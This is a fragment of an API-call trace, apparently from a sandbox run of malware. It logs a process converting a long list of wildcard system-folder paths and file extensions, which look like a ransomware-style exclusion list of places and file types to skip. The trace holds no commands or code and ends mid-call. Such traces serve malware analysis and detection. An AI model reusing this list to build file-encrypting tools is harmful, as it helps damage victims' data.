	[0060.396] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*:\\program file*\\vmware" | out: DestinationString="*:\\program file*\\vmware") 
	[0060.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*:\\program file*\\vmware", AllocateDestinationString=1 | out: DestinationString="*:\\program file*\\vmware") returned 0x0
	[0060.396] RtlFreeAnsiString (AnsiString="*") 
	[0060.396] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="\\\\*\\users\\*\\*temp" | out: DestinationString="\\\\*\\users\\*\\*temp") 
	[0060.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="\\\\*\\users\\*\\*temp", AllocateDestinationString=1 | out: DestinationString="\\\\*\\users\\*\\*temp") returned 0x0
	[0060.396] RtlFreeAnsiString (AnsiString="\\") 
	[0060.396] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="\\\\*\\winnt" | out: DestinationString="\\\\*\\winnt") 
	[0060.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="\\\\*\\winnt", AllocateDestinationString=1 | out: DestinationString="\\\\*\\winnt") returned 0x0
	[0060.396] RtlFreeAnsiString (AnsiString="\\") 
	[0060.396] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="\\\\*\\windows" | out: DestinationString="\\\\*\\windows") 
	[0060.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="\\\\*\\windows", AllocateDestinationString=1 | out: DestinationString="\\\\*\\windows") returned 0x0
	[0060.396] RtlFreeAnsiString (AnsiString="\\") 
	[0060.396] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\vmware" | out: DestinationString="*\\program file*\\vmware") 
	[0060.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\vmware", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\vmware") returned 0x0
	[0060.396] RtlFreeAnsiString (AnsiString="*") 
	[0060.396] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*appdata*microsoft" | out: DestinationString="*appdata*microsoft") 
	[0060.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*appdata*microsoft", AllocateDestinationString=1 | out: DestinationString="*appdata*microsoft") returned 0x0
	[0060.396] RtlFreeAnsiString (AnsiString="*") 
	[0060.396] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*appdata*packages" | out: DestinationString="*appdata*packages") 
	[0060.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*appdata*packages", AllocateDestinationString=1 | out: DestinationString="*appdata*packages") returned 0x0
	[0060.396] RtlFreeAnsiString (AnsiString="*") 
	[0060.396] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*microsoft\\provisioning" | out: DestinationString="*microsoft\\provisioning") 
	[0060.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*microsoft\\provisioning", AllocateDestinationString=1 | out: DestinationString="*microsoft\\provisioning") returned 0x0
	[0060.396] RtlFreeAnsiString (AnsiString="*") 
	[0060.396] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*dvd maker" | out: DestinationString="*dvd maker") 
	[0060.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*dvd maker", AllocateDestinationString=1 | out: DestinationString="*dvd maker") returned 0x0
	[0060.396] RtlFreeAnsiString (AnsiString="*") 
	[0060.396] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*Internet Explorer" | out: DestinationString="*Internet Explorer") 
	[0060.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*Internet Explorer", AllocateDestinationString=1 | out: DestinationString="*Internet Explorer") returned 0x0
	[0060.396] RtlFreeAnsiString (AnsiString="*") 
	[0060.396] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*Mozilla" | out: DestinationString="*Mozilla") 
	[0060.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*Mozilla", AllocateDestinationString=1 | out: DestinationString="*Mozilla") returned 0x0
	[0060.397] RtlFreeAnsiString (AnsiString="*") 
	[0060.397] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*Mozilla*" | out: DestinationString="*Mozilla*") 
	[0060.397] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*Mozilla*", AllocateDestinationString=1 | out: DestinationString="*Mozilla*") returned 0x0
	[0060.397] RtlFreeAnsiString (AnsiString="*") 
	[0060.397] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*Old Firefox data" | out: DestinationString="*Old Firefox data") 
	[0060.397] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*Old Firefox data", AllocateDestinationString=1 | out: DestinationString="*Old Firefox data") returned 0x0
	[0060.397] RtlFreeAnsiString (AnsiString="*") 
	[0060.397] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\windows media*" | out: DestinationString="*\\program file*\\windows media*") 
	[0060.397] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\windows media*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows media*") returned 0x0
	[0060.397] RtlFreeAnsiString (AnsiString="*") 
	[0060.397] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\windows portable*" | out: DestinationString="*\\program file*\\windows portable*") 
	[0060.397] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\windows portable*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows portable*") returned 0x0
	[0060.397] RtlFreeAnsiString (AnsiString="*") 
	[0060.397] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*windows defender" | out: DestinationString="*windows defender") 
	[0060.397] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*windows defender", AllocateDestinationString=1 | out: DestinationString="*windows defender") returned 0x0
	[0060.397] RtlFreeAnsiString (AnsiString="*") 
	[0060.397] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\windows nt" | out: DestinationString="*\\program file*\\windows nt") 
	[0060.397] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\windows nt", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows nt") returned 0x0
	[0060.397] RtlFreeAnsiString (AnsiString="*") 
	[0060.397] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\windows photo*" | out: DestinationString="*\\program file*\\windows photo*") 
	[0060.397] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\windows photo*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows photo*") returned 0x0
	[0060.397] RtlFreeAnsiString (AnsiString="*") 
	[0060.397] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\windows side*" | out: DestinationString="*\\program file*\\windows side*") 
	[0060.397] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\windows side*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows side*") returned 0x0
	[0060.397] RtlFreeAnsiString (AnsiString="*") 
	[0060.397] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\windowspowershell" | out: DestinationString="*\\program file*\\windowspowershell") 
	[0060.397] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\windowspowershell", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windowspowershell") returned 0x0
	[0060.397] RtlFreeAnsiString (AnsiString="*") 
	[0060.397] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\cuass*" | out: DestinationString="*\\program file*\\cuass*") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\cuass*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\cuass*") returned 0x0
	[0060.398] RtlFreeAnsiString (AnsiString="*") 
	[0060.398] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\microsoft games" | out: DestinationString="*\\program file*\\microsoft games") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\microsoft games", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\microsoft games") returned 0x0
	[0060.398] RtlFreeAnsiString (AnsiString="*") 
	[0060.398] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\common files\\system" | out: DestinationString="*\\program file*\\common files\\system") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\common files\\system", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\system") returned 0x0
	[0060.398] RtlFreeAnsiString (AnsiString="*") 
	[0060.398] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\common files\\*shared" | out: DestinationString="*\\program file*\\common files\\*shared") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\common files\\*shared", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\*shared") returned 0x0
	[0060.398] RtlFreeAnsiString (AnsiString="*") 
	[0060.398] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\program file*\\common files\\reference ass*" | out: DestinationString="*\\program file*\\common files\\reference ass*") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\program file*\\common files\\reference ass*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\reference ass*") returned 0x0
	[0060.398] RtlFreeAnsiString (AnsiString="*") 
	[0060.398] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*\\windows\\cache*" | out: DestinationString="*\\windows\\cache*") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*\\windows\\cache*", AllocateDestinationString=1 | out: DestinationString="*\\windows\\cache*") returned 0x0
	[0060.398] RtlFreeAnsiString (AnsiString="*") 
	[0060.398] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*temporary internet*" | out: DestinationString="*temporary internet*") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*temporary internet*", AllocateDestinationString=1 | out: DestinationString="*temporary internet*") returned 0x0
	[0060.398] RtlFreeAnsiString (AnsiString="*") 
	[0060.398] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*media player" | out: DestinationString="*media player") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*media player", AllocateDestinationString=1 | out: DestinationString="*media player") returned 0x0
	[0060.398] RtlFreeAnsiString (AnsiString="*") 
	[0060.398] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*:\\users\\*\\appdata\\*\\microsoft" | out: DestinationString="*:\\users\\*\\appdata\\*\\microsoft") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*:\\users\\*\\appdata\\*\\microsoft", AllocateDestinationString=1 | out: DestinationString="*:\\users\\*\\appdata\\*\\microsoft") returned 0x0
	[0060.398] RtlFreeAnsiString (AnsiString="*") 
	[0060.398] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="\\\\*\\users\\*\\appdata\\*\\microsoft" | out: DestinationString="\\\\*\\users\\*\\appdata\\*\\microsoft") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="\\\\*\\users\\*\\appdata\\*\\microsoft", AllocateDestinationString=1 | out: DestinationString="\\\\*\\users\\*\\appdata\\*\\microsoft") returned 0x0
	[0060.398] RtlFreeAnsiString (AnsiString="\\") 
	[0060.398] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="msp" | out: DestinationString="msp") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="msp", AllocateDestinationString=1 | out: DestinationString="msp") returned 0x0
	[0060.398] RtlFreeAnsiString (AnsiString="m") 
	[0060.398] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="exe" | out: DestinationString="exe") 
	[0060.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="exe", AllocateDestinationString=1 | out: DestinationString="exe") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="e") 
	[0060.399] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="sys" | out: DestinationString="sys") 
	[0060.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="sys", AllocateDestinationString=1 | out: DestinationString="sys") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="s") 
	[0060.399] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="msc" | out: DestinationString="msc") 
	[0060.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="msc", AllocateDestinationString=1 | out: DestinationString="msc") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="m") 
	[0060.399] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="mod" | out: DestinationString="mod") 
	[0060.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="mod", AllocateDestinationString=1 | out: DestinationString="mod") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="m") 
	[0060.399] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="clb" | out: DestinationString="clb") 
	[0060.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="clb", AllocateDestinationString=1 | out: DestinationString="clb") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="c") 
	[0060.399] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="mui" | out: DestinationString="mui") 
	[0060.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="mui", AllocateDestinationString=1 | out: DestinationString="mui") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="m") 
	[0060.399] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="regtrans-ms" | out: DestinationString="regtrans-ms") 
	[0060.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="regtrans-ms", AllocateDestinationString=1 | out: DestinationString="regtrans-ms") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="r") 
	[0060.399] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="theme" | out: DestinationString="theme") 
	[0060.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="theme", AllocateDestinationString=1 | out: DestinationString="theme") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="t") 
	[0060.399] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="hta" | out: DestinationString="hta") 
	[0060.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="hta", AllocateDestinationString=1 | out: DestinationString="hta") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="h") 
	[0060.399] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="shs" | out: DestinationString="shs") 
	[0060.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="shs", AllocateDestinationString=1 | out: DestinationString="shs") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="s") 
	[0060.399] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="nomedia" | out: DestinationString="nomedia") 
	[0060.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="nomedia", AllocateDestinationString=1 | out: DestinationString="nomedia") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="n") 
	[0060.399] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="diagpkg" | out: DestinationString="diagpkg") 
	[0060.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="diagpkg", AllocateDestinationString=1 | out: DestinationString="diagpkg") returned 0x0
	[0060.399] RtlFreeAnsiString (AnsiString="d") 
	[0060.400] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="cab" | out: DestinationString="cab") 
	[0060.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="cab", AllocateDestinationString=1 | out: DestinationString="cab") returned 0x0
	[0060.400] RtlFreeAnsiString (AnsiString="c") 
	[0060.400] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ics" | out: DestinationString="ics") 
	[0060.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ics", AllocateDestinationString=1 | out: DestinationString="ics") returned 0x0
	[0060.400] RtlFreeAnsiString (AnsiString="i") 
	[0060.400] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="msstyles" | out: DestinationString="msstyles") 
	[0060.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="msstyles", AllocateDestinationString=1 | out: DestinationString="msstyles") returned 0x0
	[0060.400] RtlFreeAnsiString (AnsiString="m") 
	[0060.400] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="cur" | out: DestinationString="cur") 
	[0060.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="cur", AllocateDestinationString=1 | out: DestinationString="cur") returned 0x0
	[0060.400] RtlFreeAnsiString (AnsiString="c") 
	[0060.400] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="drv" | out: DestinationString="drv") 
	[0060.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="drv", AllocateDestinationString=1 | out: DestinationString="drv") returned 0x0
	[0060.400] RtlFreeAnsiString (AnsiString="d") 
	[0060.400] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="icns" | out: DestinationString="icns") 
	[0060.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="icns", AllocateDestinationString=1 | out: DestinationString="icns") returned 0x0
	[0060.400] RtlFreeAnsiString (AnsiString="i") 
	[0060.400] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="diagcfg" | out: DestinationString="diagcfg") 
	[0060.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="diagcfg", AllocateDestinationString=1 | out: DestinationString="diagcfg") returned 0x0
	[0060.400] RtlFreeAnsiString (AnsiString="d") 
	[0060.400] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="dll" | out: DestinationString="dll") 
	[0060.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="dll", AllocateDestinationString=1 | out: DestinationString="dll") returned 0x0
	[0060.400] RtlFreeAnsiString (AnsiString="d") 
	[0060.400] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ocx" | out: DestinationString="ocx") 
	[0060.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ocx", AllocateDestinationString=1 | out: DestinationString="ocx") returned 0x0
	[0060.400] RtlFreeAnsiString (AnsiString="o") 
	[0060.400] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="lnk" | out: DestinationString="lnk") 
	[0060.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="lnk", AllocateDestinationString=1 | out: DestinationString="lnk") returned 0x0
	[0060.400] RtlFreeAnsiString (AnsiString="l") 
	[0060.400] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ico" | out: DestinationString="ico") 
	[0060.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ico", AllocateDestinationString=1 | out: DestinationString="ico") returned 0x0
	[0060.400] RtlFreeAnsiString (AnsiString="i") 
	[0060.401] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="idx" | out: DestinationString="idx") 
	[0060.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="idx", AllocateDestinationString=1 | out: DestinationString="idx") returned 0x0
	[0060.401] RtlFreeAnsiString (AnsiString="i") 
	[0060.401] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ps1" | out: DestinationString="ps1") 
	[0060.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ps1", AllocateDestinationString=1 | out: DestinationString="ps1") returned 0x0
	[0060.401] RtlFreeAnsiString (AnsiString="p") 
	[0060.401] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="mpa" | out: DestinationString="mpa") 
	[0060.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="mpa", AllocateDestinationString=1 | out: DestinationString="mpa") returned 0x0
	[0060.401] RtlFreeAnsiString (AnsiString="m") 
	[0060.401] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="cpl" | out: DestinationString="cpl") 
	[0060.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="cpl", AllocateDestinationString=1 | out: DestinationString="cpl") returned 0x0
	[0060.401] RtlFreeAnsiString (AnsiString="c") 
	[0060.401] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="icl" | out: DestinationString="icl") 
	[0060.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="icl", AllocateDestinationString=1 | out: DestinationString="icl") returned 0x0
	[0060.401] RtlFreeAnsiString (AnsiString="i") 
	[0060.401] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="msu" | out: DestinationString="msu") 
	[0060.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="msu", AllocateDestinationString=1 | out: DestinationString="msu") returned 0x0
	[0060.401] RtlFreeAnsiString (AnsiString="m") 
	[0060.401] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="msi" | out: DestinationString="msi") 
	[0060.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="msi", AllocateDestinationString=1 | out: DestinationString="msi") returned 0x0
	[0060.401] RtlFreeAnsiString (AnsiString="m") 
	[0060.401] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="nls" | out: DestinationString="nls") 
	[0060.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="nls", AllocateDestinationString=1 | out: DestinationString="nls") returned 0x0
	[0060.401] RtlFreeAnsiString (AnsiString="n") 
	[0060.401] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="scr" | out: DestinationString="scr") 
	[0060.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="scr", AllocateDestinationString=1 | out: DestinationString="scr") returned 0x0
	[0060.401] RtlFreeAnsiString (AnsiString="s") 
	[0060.401] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="adv" | out: DestinationString="adv") 
	[0060.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="adv", AllocateDestinationString=1 | out: DestinationString="adv") returned 0x0
	[0060.401] RtlFreeAnsiString (AnsiString="a") 
	[0060.401] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="386" | out: DestinationString="386") 
	[0060.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="386", AllocateDestinationString=1 | out: DestinationString="386") returned 0x0
	[0060.401] RtlFreeAnsiString (AnsiString="3") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="com" | out: DestinationString="com") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="com", AllocateDestinationString=1 | out: DestinationString="com") returned 0x0
	[0060.402] RtlFreeAnsiString (AnsiString="c") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="hlp" | out: DestinationString="hlp") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="hlp", AllocateDestinationString=1 | out: DestinationString="hlp") returned 0x0
	[0060.402] RtlFreeAnsiString (AnsiString="h") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="rom" | out: DestinationString="rom") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="rom", AllocateDestinationString=1 | out: DestinationString="rom") returned 0x0
	[0060.402] RtlFreeAnsiString (AnsiString="r") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="lock" | out: DestinationString="lock") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="lock", AllocateDestinationString=1 | out: DestinationString="lock") returned 0x0
	[0060.402] RtlFreeAnsiString (AnsiString="l") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="386" | out: DestinationString="386") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="386", AllocateDestinationString=1 | out: DestinationString="386") returned 0x0
	[0060.402] RtlFreeAnsiString (AnsiString="3") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="wpx" | out: DestinationString="wpx") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="wpx", AllocateDestinationString=1 | out: DestinationString="wpx") returned 0x0
	[0060.402] RtlFreeAnsiString (AnsiString="w") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ani" | out: DestinationString="ani") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ani", AllocateDestinationString=1 | out: DestinationString="ani") returned 0x0
	[0060.402] RtlFreeAnsiString (AnsiString="a") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="prf" | out: DestinationString="prf") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="prf", AllocateDestinationString=1 | out: DestinationString="prf") returned 0x0
	[0060.402] RtlFreeAnsiString (AnsiString="p") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="rtp" | out: DestinationString="rtp") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="rtp", AllocateDestinationString=1 | out: DestinationString="rtp") returned 0x0
	[0060.402] RtlFreeAnsiString (AnsiString="r") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ldf" | out: DestinationString="ldf") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ldf", AllocateDestinationString=1 | out: DestinationString="ldf") returned 0x0
	[0060.402] RtlFreeAnsiString (AnsiString="l") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="key" | out: DestinationString="key") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="key", AllocateDestinationString=1 | out: DestinationString="key") returned 0x0
	[0060.402] RtlFreeAnsiString (AnsiString="k") 
	[0060.402] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="diagcab" | out: DestinationString="diagcab") 
	[0060.402] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="diagcab", AllocateDestinationString=1 | out: DestinationString="diagcab") returned 0x0
	[0060.403] RtlFreeAnsiString (AnsiString="d") 
	[0060.403] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="cmd" | out: DestinationString="cmd") 
	[0060.403] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="cmd", AllocateDestinationString=1 | out: DestinationString="cmd") returned 0x0
	[0060.403] RtlFreeAnsiString (AnsiString="c") 
	[0060.403] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="spl" | out: DestinationString="spl") 
	[0060.403] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="spl", AllocateDestinationString=1 | out: DestinationString="spl") returned 0x0
	[0060.403] RtlFreeAnsiString (AnsiString="s") 
	[0060.403] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="deskthemepack" | out: DestinationString="deskthemepack") 
	[0060.403] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="deskthemepack", AllocateDestinationString=1 | out: DestinationString="deskthemepack") returned 0x0
	[0060.403] RtlFreeAnsiString (AnsiString="d") 
	[0060.403] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="bat" | out: DestinationString="bat") 
	[0060.403] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="bat", AllocateDestinationString=1 | out: DestinationString="bat") returned 0x0
	[0060.403] RtlFreeAnsiString (AnsiString="b") 
	[0060.403] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="themepack" | out: DestinationString="themepack") 
	[0060.403] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="themepack", AllocateDestinationString=1 | out: DestinationString="themepack") returned 0x0
	[0060.403] RtlFreeAnsiString (AnsiString="t") 
	[0060.403] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="nslsvice.exe" | out: DestinationString="nslsvice.exe") 
	[0060.403] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="nslsvice.exe", AllocateDestinationString=1 | out: DestinationString="nslsvice.exe") returned 0x0
	[0060.403] RtlFreeAnsiString (AnsiString="n") 
	[0060.403] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="pg*" | out: DestinationString="pg*") 
